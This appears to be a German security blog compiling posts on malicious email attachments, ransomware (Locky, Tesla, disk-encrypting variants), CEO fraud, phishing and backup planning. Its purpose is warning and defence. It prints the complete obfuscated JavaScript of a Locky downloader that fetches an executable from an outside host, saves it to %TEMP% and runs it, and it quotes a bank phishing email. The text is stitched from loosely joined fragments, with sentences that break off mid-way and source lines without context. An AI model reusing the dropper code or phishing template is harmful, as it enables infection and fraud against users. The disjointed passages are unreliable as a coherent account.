Der Hype um das neue Augmented Reality-Spiel Pokémon Go ist ein gutes Beispiel dafür, wie Schadsoftware sehr erfolgreich und gezielt unter die Leute gebracht wird. Lesen Sie hier, was man daraus lernen kann:
Eine der Hauptverbreitungswege für Schadsoftware ist die E-Mail.
Beinahe täglich erhalte ich Aufforderungen auf meiner privaten Mailadresse, dringend irgendetwas online zu prüfen, irgendwo eine Sicherheitseinstellung zu ändern, Kreditkarten- und Kontosperren zu verhindern oder Onlinebankingzugänge zu verifizieren. Selbst daran, mit den eigenen Daten konfrontiert und persönlich angesprochen zu werden, habe ich mich inzwischen einigermaßen gewöhnt. Unlängst habe ich sogar eine Bewerbung mit Lebenslauf in einem Virenverseuchten Wordformat erhalten.
Dass in einigen Mails in den Anhängen Trojanische Pferde mit gefährlichen Inhalten lauern, wissen inzwischen hoffentlich alle Nutzer. Die Sicherheitsexperten warnen:
Öffnen Sie niemals Anhänge von unbekannten Absendern!
Siehe Infografik aus dem deutschen Kaspersky-Blog.
Was ich nicht verstehe: Wieso wird vor „unbekannten Absendern“ gewarnt?
Die Gefahr lauert erst Recht in Mails von bekannten Menschen und Firmen! Trojaner lesen Adressdatenbanken doch seit Jahren aus und nutzen die Daten zum Verteilen. Das dürfte sich gerade bei Erpressersoftware lohnen, die ja kaum Interesse hat, sich lange zu verstecken, hier ist das primäre Hauptziel, eine möglichst hohe Infektionsquote zu erzielen.
Entsprechend meine Empfehlung:
- Seien Sie grundsätzlich misstrauisch bei Anhängen und Links in unangekündigten E-Mails, auch bei bekannten Absendern.
- Prüfen Sie diese vor dem Öffnen akribisch.
- Nehmen Sie ggf. Rücksprache mit den Absendern.
- Lassen Sie Spaßmails erstmal liegen und „heranreifen“. Derlei Unwichtiges können Sie auch noch in drei Wochen lesen, wenn Ihr Virenscanner die Gefahren gelernt hat.
- Speichern Sie Anhänge ab und prüfen Sie diese mit einem Online-Virenscanner
- ausführbare Dateien nicht starten
- wenn Textverarbeitung, Tabellenkalkulation etc. nach Rechten fragt, sind wahrscheinlich Makros = Programme in der Datei versteckt=höchstes Risiko!
Bei einigen gezielten Angriffsformen geht es nicht mal darum, Spionagesoftware und trojanische Pferde einzuschleusen, wenn die Betrüger die nötigen Informationen schon haben.
Eine Spielart ist der/die/das (?) sogenannte CEO-Fraud, eine erfolgreiche Masche der Angriffe über social engineering.
Hier einer der letzten Berichte aus einer ganzen Reihe von Warnungen und Berichten zu diesem Thema:
Kölner Stadtanzeiger
Ein Kunde berichtete darüber, konnte die besagte Datei aber im Quarantäne Ordner von G-Data finden. Wie ich gerade lese, haben unterschiedliche Virenscanner (auch Kaspersky und F-Secure) gerade diese Datei auf dem Schirm und stufen diese irrtümlich als schädlich ein.
Hier handelt es sich mit großer Wahrscheinlichkeit um eine Falschmeldung („false positive“), was durchaus häufiger vorkommt bei Programmen, die eine Internetverbindng aufbauen. Sollten Sie verunsichert sein, vergleichen Sie die Datei mit Ihrer Bank.
Wenn Sie also eine Meldung erhalten, diese Datei würde fehlen: Schauen Sie im Quarantäne-Ordner mal nach…
So macht man Druck auf die Opfer. Jede Stunde länger warten und eine Datei wird vernichtet. Je länger man wartet, desto mehr Dateien müssen immer schneller dran glauben. Perfide, dass bei einem Neuboot gleich 1.000 Stück weg sein sollen. Immerhin fällt der Preis, verglichen mit dem „Ransomsoftware-Wettbewerb“ auf 0,4 BTC, das sind aktuell um die 150,00 Euro, andere sind da teurer.
Glücklicherweise gibt es anscheinend schon ein Dechiffrier-Tool, das die Dateien wieder herstellen kann. Man sollte also nicht bezahlen.
Ich bin nicht sicher, was wirklich passiert – hat man aber den Rechner heruntergefahren, sollte man keinesfalls den Computer einfach über das normale System neu starten. Entweder baut man die betroffenen Datenträger oder es empfiehlt sich der Neuboot mit einem Live-Linux-System, z.B. Knoppix, um Backups zu erstellen. Dabei wird die Schadsoftware nicht aktiviert und man
Quelle und weitere Links: Golem
Am Freitag hatte der Admin frei, am Samstag war dann Samsa da?
Bei den aufgedeckten Fällen mit dieser Erpressersoftware wird offensichtich viel „per Hand“ erledigt, der Einbruch in das Netzwerk und auch die Verschlüsselung des Systems erfolgt gezielt manuell.
Bei dem Aufwand ist auch die Lösegeldforderung höher – 50 Bitcoins für die Entsperrung des gesamten Netzes entsprechen heute fast 19.000,00 Euro. Der Einzelrechner ist mit 1,5 BTC dabei. Da sind die 0,5 BTC des Locky-Trojaners ja fast ein Schnäppchen.
Billige, „für alle erschwingliche Massenware“ gegen gezielte individuelle „Kundenbetreuung“ also auch hier 😉
Da fragt man sich, ob nicht gleich noch andere Beute gemacht wird, also z.B. mit Industriespionage und/oder Sabotage. Womöglich ist einem Wettbewerber die noch nicht zum Patent angemeldete Erfindung des Konkurrenten sogar etwas mehr wert als 50 Bitcoins?
Wer sich übrigens für die Erträge der Erpresser interessiert: Die Transaktionen von Bitcoinzahlungen sind ja nachvollziehbar, auch wenn die Eigentümer der Wallets nicht bekannt sind.
Offensichtlich geht es in die nächste Eskalationsrunde: Bisher verschlüsselten die Ransomwaretrojaner nur einzelne Dateien, jetzt schließen Sie die gesamte Festplatte weg, so dass der Computer nicht mehr nutzbar ist.
Mir ist bisher nicht klar, ob dies sogar fremde Partitionen einschließt, so dass eine parallele Nutzung von z.B. Windows mit Linux oder auch Mac mit Parallels/Windows eine Gefahr für das gesamte System darstellt.
Backups werden also noch wichtiger, wenn man auf ein funktionsfähiges Computersystem angewiesen ist. Es kann sich lohnen, einen Zweitrechner in Petto zu haben. Ich denke da z.B. an Leasingrückläufer, die zwar ein paar Jahre auf dem Buckel haben, aber als Bürorechner mit aktuellem Windows-System sehr gute Dienste leisten können.
Ergänzung:
Zitat: UEFI-Systeme lassen sich retten
Die Sicherheitsforscher bestätigen die Erkenntnisse von heise Security, dass nur Systeme mit MBR verschlüsselt werden.
Update 2: Daten wiederherstellen, Entschlüsselung möglich:
Digitale Erpressung ist für die Betrüger äußerst lukrativ und wir stehen vermutlich erst am Beginn einer Welle von Erpressungstrojanern, die neuesten Varianten dieser Viren sind vermutlich so gut 
programmiert, dass eine Entschlüsselung nicht mehr möglich ist. >Heise über PGP-Trojaner
Regelmäßig durchgeführte und geeignete Datensicherungsstrategien (Backups) sind absolut notwendig, wenn man wichtige Daten mit digitaler Technik verwaltet und mehr und mehr von der Technik abhängig wird.
Worst Case Szenario – was wäre wenn?
Ich halte folgendes regelmäßiges Gedankenspiel für sehr wichtig:
- Was passiert im schlimmsten Fall mit meiner Arbeit/meinem Hobby oder meinem Betrieb/meinem Verein, wenn mir mein Arbeitssystem komplett abhanden kommt (Diebstahl, Brand im Serverraum)?
- Kann ich sicherstellen, dass ich in der gewünschten Zeit wieder arbeitsfähig bin?
- Was kostet mich der Aufwand?
- Wie groß wäre der potentielle finanzielle oder zeitliche Schaden?
- Habe ich Ausweichmöglichkeiten?
- Könnte der Diebstahl Auswirkungen auf Zugänge haben und könnte ich diese schnell genug sperren, Passwörter ändern?
- Hat sich nach meinem letzten Gedankenspiel wesentliches geändert, ist Hard- und Software noch zeitgemäß und kostengünstig ersetzbar?
- Stimmen die Verträge mit meinen Dienstleistern noch und sind sie angemessen?
Gedankenspiele reichen nicht, Testen ist wichtig
Man muss regelmäßig testen, ob die Sicherungsmaßnahmen ausreichen und funktionieren, die man getroffen hat. Was nützt mir beispielsweise ein perfekt durchorganisiertes und zuverlässiges Bandsystem, wenn ich es an keinem Ersatz-Computer mehr installieren und an Laufen bringen kann. Oder wenn die alte Software auf einem aktuellen Betriebssystem nicht mehr funktioniert? Oder im Betrieb: Wenn die Leute, die sich mit der Rücksicherung einer Datenbank auskennen, bereits in Rente oder woanders beschäftig sind?
Was Sie zur Vorsorge wg. der aktuellen Bedrohungen machen sollten, können Sie hier lesen:
http://www.heise.de/thema/Ransomware
Über den Unsinn mit der Mail von „den unbekannten Absendern“.
Ergänzung: Es gibt ein Tool im Betastadium (aktuell nicht für den produktiven Betrieb empfohlen), das auf das typische Verhalten der Verschlüssellung reagiert und den Prozess anhält und Alarm schlägt:
http://www.heise.de/newsticker/meldung/Krypto-Trojaner-Locky-Batch-Dateien-infizieren-Windows-Tool-verspricht-Schutz-3118188.html
Das Tool ist nur ein Hilfsmittel und kein Ersatz für eine regelmäßige Datensicherung.
Update (04.07.2016):
Heise: Gratis Tools entschlüsseln diverse Erpressungs-Trojaner
Die mir zugeschickte vermeintliche Rechnung oder das Fax enthält einen Anhang, der mit knapp über 700 Bytes (!) einfach zu klein für ein PDF ist.
Was ist da los? Kein Virenscanner erkennt die zip Datei und den Javascript-Inhalt als Container einer Virendatei? Keiner von 54 Scannern auf Virustotal schlägt Alarm? Mein Kollege spekulierte gar nicht so abwegig: Das ist bestimmt der Bundestrojaner, der kommt „von oben“ und wird halt nicht erkannt.
Der Anhang enthält eine Javascript-Datei, die offeniichtlich eine mit Unicode-verschleierte Webseite nachladen will. Sehr perfide, sehr geschickt.
Glaubt man den aktuellen Zahlen, werden pro Stunde 5000 Rechner in Deutschland vom enthaltenen Locky-Virus infiziert. Die Ransomware verschlüsselt die erreichbaren Dateien und man erhält nur durch Zahlung eines Lösegeldes wieder die Ursprungsdateien zurück.
Siehe auch:
http://www.golem.de/news/ransomware-locky-kommt-jetzt-auch-ueber-javascript-1602-119331.html
Erpressungstrojaner Tesla (intern vrkennung.de)
Die Verschleierung ist kein neues Thema:
http://www.heise.de/security/meldung/Rueckwaerts-wird-ein-Virus-draus-1242127.html
Code des Anhangs ( Javascript Datei hier als einfacher Text dargestellt und deshalb harmlos):
var fawqAx= this[‚\u0041c\u0074i\u0076\u0065XO\u0062je\u0063t‘];
var laMhHYOhH = new fawqAx(‚\u0057S\u0063r\u0069\u0070\u0074\u002E\u0053\u0068e\u006C\u006C‘);
var uDsEft = laMhHYOhH[‚\u0045x\u0070\u0061\u006E\u0064Envir\u006Fn\u006De\u006E\u0074S\u0074\u0072in\u0067s‘](‚\u0025TE\u004DP\u0025‘) + ‚\u002F\u0068\u0055O\u0048Mma\u0069n.\u0065x\u0065‘;
var nheEANo = new fawqAx(‚\u004D\u0053XM\u004C\u0032.X\u004D\u004C\u0048TT\u0050‘);
nheEANo[‚\u006Fn\u0072\u0065\u0061\u0064y\u0073\u0074\u0061\u0074ec\u0068\u0061\u006E\u0067e‘] = function() {
if (nheEANo[‚\u0072\u0065a\u0064\u0079\u0073t\u0061\u0074\u0065‘] === 4) {
var RxgIdfvB = new fawqAx(‚\u0041\u0044\u004F\u0044\u0042.S\u0074\u0072\u0065\u0061\u006D‘);
RxgIdfvB[‚op\u0065\u006E‘]();
RxgIdfvB[‚\u0074\u0079pe‘] = 1;
RxgIdfvB[‚\u0077ri\u0074\u0065‘](nheEANo[‚\u0052es\u0070\u006F\u006E\u0073e\u0042\u006F\u0064\u0079‘]);
RxgIdfvB[‚\u0070os\u0069\u0074\u0069\u006F\u006E‘] = 0;
RxgIdfvB[‚\u0073av\u0065\u0054o\u0046\u0069le‘](uDsEft, 2);
RxgIdfvB[‚\u0063lo\u0073\u0065‘]();
};
};
try {
var HYOAzVaz = ‚R\u0075n‘;
nheEANo[‚\u006F\u0070en‘](‚GE\u0054‘ , ‚h\u0074\u0074p://\u0068t\u0074\u0070\u003A\u002F\u002F\u0066i\u0072\u0073t\u0063o\u0070\u0079\u006Dall\u002E\u0063\u006F\u006D/\u0073\u0079\u0073t\u0065m\u002F\u006Co\u0067\u0073\u002F\u0038\u0037h7\u00354‘, false);
nheEANo[‚\u0073e\u006Ed‘]();
laMhHYOhH [HYOAzVaz](uDsEft, 1, false);
} catch (ajg9ggxFs) {};
Die Betrugsmail ist in beinahe perfektem Deutsch geschrieben, enthält das typische VR-Logo und ist doch ein Betrugsversuch. Der Link verweist glücklicherweise auf auf eine Seite, die nicht mehr existiert, aber dies kann sich ja schnell ändern.
Man beachte die Anrede. der Absender lautet info@volksbank.de
Wichtig: neue Sicherheits-Software Update
Sehr geehrter Herr Sichmann,
uns bei der Volksbank liegt die Sicherheit und Integrität unserer Konten sehr am Herzen.
Leider wurde diese Sicherheit in den letzten Wochen stark gefährdet. Viele unserer Kunden sind Opfer von Cyberkriminellen und Hackern geworden.
Um dieses Problem so schnell und effizient wie möglich zu beseitigen, haben wir eine
neue Sicherheits-Software entwickelt, die unseren Online-Konten mehr
Sicherheit gibt und unsere Kunden vor solchen Übergriffen beim Online-Banking schützt.
Gerade arbeiten wir daran, diese Software auf den Online-Konten aller Kunden zu installieren.Bitte klicken Sie zur Verifizierung auf folgenden [link entfernt und Wort Link fehlt]
Wir bedanken uns für Ihre Mitarbeit
Mit freundlichen
Grüßen,Ihr Volksbank-Kundenservice
Bundesverband der Deutschen Volksbanken und Raiffeisenbanken e.V. (BVR)
Schellingstraße 4
10785 Berlin
©Volksbanken und Raiffeisenbanken 1998-2014. Alle Rechte vorbehalten
Ich hatte ja hier geschrieben, man solle als Opfer der neuen Version des Tesla-Cryptotrojaners alle Hoffnung fahren lassen, sofern man kein Backup habe oder man bereit sei, die Erpresser zu bezahlen. Nun, offensichtlich gilt das doch noch nicht für die Version 2 des Tesla-Trojaners:
Also blieb den Opfern, die drei Monate auf Ihre Daten verzichten konnten, doch noch die Möglichkeit. Interessant ist dabei: Offensichtlich ist nicht Verschlüsselung geknackt worden, sondern der Schlüssel zur Entschlüsselung wurde auf dem Opferrechner hinterlassen.
Irgendwie kann ich nicht glauben, dass das ein unabsichtlicher Fehler war…